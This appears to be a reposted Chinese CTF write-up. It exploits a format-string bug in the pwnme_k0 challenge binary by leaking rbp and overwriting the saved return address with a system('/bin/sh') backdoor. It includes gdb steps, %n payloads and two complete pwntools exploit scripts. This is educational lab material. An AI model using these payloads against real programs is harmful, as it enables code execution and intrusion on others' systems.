我是靠谱客的博主 负责黄蜂,最近开发中收集的这篇文章主要介绍好好说话之hijack retaddr,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

格式化字符串做到这里,博主有一些感悟。相比于栈溢出来讲,格式化字符串漏洞对于泄露或者覆盖闲的更容易点,主要注意的就是第几个参数,使用%p、%s、%n这几种格式化字符串。也可能是我做题比较少的原因,只遇到了这几个。最近一直做格式化字符串,所以做得比较顺手,希望看这篇文章的你也能有所收获

感谢在学习中帮助到我的yichen,附上学习链接:

https://www.yuque.com/hxfqg9/bin/aedgn4#NLiJd

编写不易,如果能够帮助到你,希望能够点赞收藏加关注哦Thanks♪(・ω・)ノ

hijack retaddr

看名字就能知道这一次我们劫持的是ret返回地址,我们通过覆盖返回地址,printf函数结束后让原有的执行流程发生改变。做了这么多题,看到这你的脑海中第一反应就应该是如果利用格式化字符串漏洞进行覆盖,那么就会用到%k$n

那么什么时候使用这种方法呢?首先我们回顾一下上一篇博客好好说话之hijack GOT的内容,使用hikack GOT我们可以泄露出函数的真实地址并将原有函数替换成system函数。那么hijack retaddr其中之一的限制就是RELRO保护开启,RELRO保护开启之后我们就没有办法修改程序的 got 表了。第二个条件呢,就是原程序中存在可以利用的后门,也就是system(/bin/sh)。这样一来我们将原有的ret位覆盖成system(/bin/sh)的地址,那么返回后就会直接拿shell了!!!理论部分很简单,操作的过程也和前面的内容比较相似,接下来看例题吧

例题

例题选自三个白帽 - pwnme_k0

首先查看一下保护

在这里插入图片描述
可以看到64位程序开启了NX保护和RELRO保护,这意味着无法利用shellcode,也无法对got表进行修改

看一下程序运行

先运行一下程序看一下执行流程:在这里插入图片描述

进入程序之后会有一个登录,我这里输入的是自己的名字”hollk“,然后需要输入密码”hollk_pass“。接下来会有三个选项,选择”1“会打印账户名和密码,输入”2“会修改原有的账户名和密码,输入”3“就直接退出了(换做是web的话,没有原密码可能会出现CSRF漏洞????)

IDA分析程序

这道题没有给源码,所以需要借助IDA x64进一步分析
在这里插入图片描述

进入主函数之后会有三个看不懂啥意思的函数,首先第一个sub_4008BB函数的作用是输出一串欢迎标语;第二个sub_400903函数用于第一次登录,保存账号密码;第三个sub_400D28函数用于登录之后的操作

第一个欢迎标语就不说了,直接看第二个登录:

在这里插入图片描述这个函数会让我们输入用户名和密码,用户名会存放在bufa中,输入的密码会存放到a4 + 4的位置,密码存放的位置暂时先记住,一会会用到

接下来看一下第三个用于操作的函数

在这里插入图片描述
又出现了三个不知道是啥的函数名,首先第一个sub_400A75函数会根据接收的字符串赋给v7变量一个返回值,当v7等于1时执行sub_400B07函数打印用户信息,v7等于2时执行sub_400B41函数修改用户信息,v7等于3时执行sub_400D1A函数退出

返回值和退出就不看了,接下来看一下v7等于2时执行sub_400B41函数修改用户信息:

在这里插入图片描述上面是修改用户名的功能,下面是修改密码,可以看到用户名和密码之间相差20个字节(这20个字节会在第二种利用方法中用到)

接下来看一下v7等于1时执行sub_400B07函数打印用户信息,因为当v7等于2时修改的账户名和密码会覆盖原有的值,所以无论怎么改,输出的变量不会改变:

在这里插入图片描述在这里可以很明显的看到存在一个格式化字符串漏洞,并且打印的是a4 + 4中的内容,a4 + 4存的就是前面让大家记住的账户密码的变量

shift+f12 可以搜到一个 /bin/sh 字符串,然后双击跟过去找到一个 system(’/bin/sh’) 函数:

在这里插入图片描述这样我们就得到了system(/bin/sh)的地址:0x4008AA

ida就分析到这,这部分的过程有点多,但还是强烈建议这种不给源码并且功能比较多的题,尽可能的仔细的分析一下。虽然ida反编译过来的都是伪代码,但是配合着程序流程分析起来并不是很难。

GDB调试及做题思路讲解1.0

通过前面的ida分析,我们利用的思路就有了,首先看第一种方法:

  • 确定偏移
  • 找到ret返回地址
  • 将ret返回地址覆盖成system(/bin/sh)地址

确定偏移和找到ret返回地址

首先我们在ida中找到存在格式化字符串漏洞的printf函数地址:

在这里插入图片描述
使用gdb打开程序,在0x400B39处下端点:

pwndbg> b *0x400B39
Breakpoint 1 at 0x400b39

接着我们输入”r“让程序运行起来,输入:

  • 用户名:hollkhol(任意8个字节字符)
  • 密码 :%p%p%p%p%p%p%p%p%p%p

在这里插入图片描述
接下来输入”1“执行打印用户名密码功能,程序会停在我们下断点的存在格式化字符串漏洞的printf函数处

在这里插入图片描述

因为这是个64位程序,所以寄存器会存储前六个参数,因为格式化字符串栈一个参数,所以ret返回地址是格式化字符串的第7个参数。但是我们不能直接利用返回地址所在的地址,因为栈上的地址会变化。虽然存储返回地址的内存本身是动态变化的,但是其相对于 rbp 的地址并不会改变,所以我们可以使用相对地址来计算:

0x7fffffffdeb0 - 0x7fffffffde78 = 0x38

也就是说我们可以先把第6个参数rbp中的值泄露出来

%6$p

然后再减去偏移0x38就可以得到存放ret返回地址的内存地址了:

ret_addr = rbp - 0x38

我们重新打开gdb,依然还是在存在格式化字符串漏洞的printf函数0x400B39处下断点。这次我们用户名依然还输入八个a,但是密码改成%6$p,我们期待的是打印出rbp里面的值

在这里插入图片描述

可以看到我们将rbp中的值打印出来了,再来计算一下0x7fffffffde80 - 0x38 = 0x7ffffffffde48,正好就是下面返回地址对应的栈地址????(仅仅只是举一个例子,不会每一次都是0x7fffffffde80)

这样一来我们就可以找到ret返回地址所在的地址了,下一步我们将会使用system(/bin/sh)地址覆盖这个地址,这样一来程序执行之后就会直接拿shell了

将ret返回地址覆盖成system(/bin/sh)地址

我们重新使用gdb打开程序,依然还是在存在格式化字符串漏洞的printf函数0x400B39处下断点,这次我们的用户名改成aaaaaaaa,密码为bbbbbbbb。登录成功之后我们选择2选项进入账户信息修改功能,然后将账户名改成cccccccc,密码改成dddddddd:

在这里插入图片描述

接着我们再一次选择1选项执行打印功能,程序依然还会停在printf处,我们看一下此时的栈布局:

在这里插入图片描述
我们修改的用户名在0x7ffffffffde50处,也就是格式化字符串的第8个参数,修改的账户密码在0x7fffffffde60处。想想既然我们能把原有的用户名aaaaaaaa改成cccccccc,那是不是就意味着同样也可以修改成0x7ffffffffde48呢,也就是说我们可以把用户名更改成存放ret返回地址的栈地址ret_addr

接着如果我们把密码修改成%8$n的话,是不是就能覆盖存放用户名位置中的值了,即可以覆盖ret_addr。我们的目的是将ret位修改成system(/bin/sh),前面在ida分析阶段我们已经得到了sys_addr = 0x4008AA。但是存在一个问题就是0x4008AA太大了,我们可能无法在栈中写这么多的数据。这时候就用到前面好好说话之格式化字符串漏洞利用中讲过的覆盖大数了,我们可以使用h标志位更改返回地址的后四位的值。那么sys_addr的后四位为0x08AA,转换成10进制就是2218,那么就可以将密码修改成:

%2218d%8$hn

这样一来在执行之后我们就会将ret_addr的后四位的值改成0x08AA了,就是system(/bin/sh)了

EXP 1.0

from pwn import *
sh = process("./pwnme_k0")
binary = ELF("pwnme_k0")
#gdb.attach(sh,'b *0x400b39')
sh.recv()
sh.sendline("1111")  #第一次登陆的用户名
sh.recv()
sh.sendline("%6$p") #第一次登陆的密码,用来将rbp中的值泄露出来
sh.recv()
sh.sendline("1")  #选择1操作执行打印用户信息进行泄露
sh.recvuntil("0x")
recv = sh.recvline()  #获得rbp中的值
print "ebp addr" + str(recv)
ret_addr = int(recv,16) - 0x38   #计算ret返回地址所在内存地址
print "ret addr" + str(ret_addr)
sh.recv()
sh.sendline("2")  #选择2操作执行用户信息修改操作
sh.recv()
sh.sendline(p64(ret_addr))   #将ret返回地址所在内存地址写在用户名位置
sh.recv()
sh.sendline("%2218d%8$hn")  #将覆盖操作写在用户密码位置,2218 = 0x8AA
sh.recv()
sh.sendline("1")  #执行打印拿shell
sh.recv()
sh.interactive()

GDB调试及做题思路讲解2.0

这里给大家介绍第二种方法,第一种方法利用格式化字符串漏洞覆盖大数的方式,将存放在用户名中的ret返回地址覆盖成system(/bin/sh)。第一种方法是主要是将ret放在了用户名中,其实直接进行地址覆盖也可以,也就是说我们将%n和ret_addr一起写在用户密码中,变动只不过是覆盖的位置有所改变而已

所以前面的找ret返回地址就和前面一样,这里就不重复了,直接看覆盖ret

还是依然使用gdb打开程序,在存在格式化字符串漏洞的printf函数0x400B39处下断点,这次我们的用户名改成aaaaaaaa,密码为bbbbbbbb。登录成功之后我们选择2选项进入账户信息修改功能,然后将账户名改成cccccccc,密码改成dddddddd。然后选择1选项执行打印,程序会在printf函数处停下:

在这里插入图片描述

可以看到我们输入的密码格式化字符串的第10个参数,那么这次我们使用这种覆盖方式:

%k$n + addr

也就是说我们将%n写在前面,要覆盖的system地址写在后面,并且计算后面的system地址是格式化字符串的第几个参数,有点像我们在好好说话之格式化字符串漏洞利用中讲过的覆盖小数。%n前面的值还是system地址的后四位,所以:

%2218d%k$n + ret_addr

那么就需要计算k是多少了,我们输入的密码在格式化字符串的第10个参数,那么我们的ret_addr就是第12位,即k = 12

%2218d%12$n + ret_addr

为什么k是12???看下面

在这里插入图片描述

由于我们的payload是从右向左进栈的,所以ret_addr先进栈在高地址位,也就是在图中的0x7ffda61b33070的位置,即格式化字符串的第12个参数。接下来才是%2218d%12$n从右向左进栈,但是%2218d%12$n一共11个字节,并不能直接装在一个地址中,所以被拆分成两部分”8d%12$n“和”%221“,所以”8%12$n“这八个字节被存放到图中0x7ffda61b3068的位置,即格式化字符串的第11个参数。剩下的”%221“就存放到了图中0x7ffda61b33060的位置,即格式化字符串的第10个参数

EXP 2.0

from pwn import *
elf=ELF('./pwnme_k0')
p=process('./pwnme_k0')
#gdb.attach(p,'b *0x400B39')
p.recvuntil('Input your username(max lenth:20):')
p.sendline('a'*8)
p.recvuntil('Input your password(max lenth:20):')
p.sendline('%6$p')
p.recvuntil('>')
p.sendline('1')
data=p.recvuntil('>')
data=data.split('n')[1]
ret_addr=int(data,16)-0x38
p.sendline('2')
p.recvuntil('please input new username(max lenth:20):')
p.sendline('b'*8)
p.recvuntil('please input new password(max lenth:20):')
payload = "%2218d%12$hn"
payload += p64(ret_addr)
print payload
gdb.attach(p,'b *0x400B39')
p.send(payload)
#gdb.attach()
p.recvuntil('>')
p.sendline('1')
p.interactive()

在这里插入图片描述

最后

以上就是负责黄蜂为你收集整理的好好说话之hijack retaddr的全部内容,希望文章能够帮你解决好好说话之hijack retaddr所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(38)

评论列表共有 0 条评论

立即
投稿
返回
顶部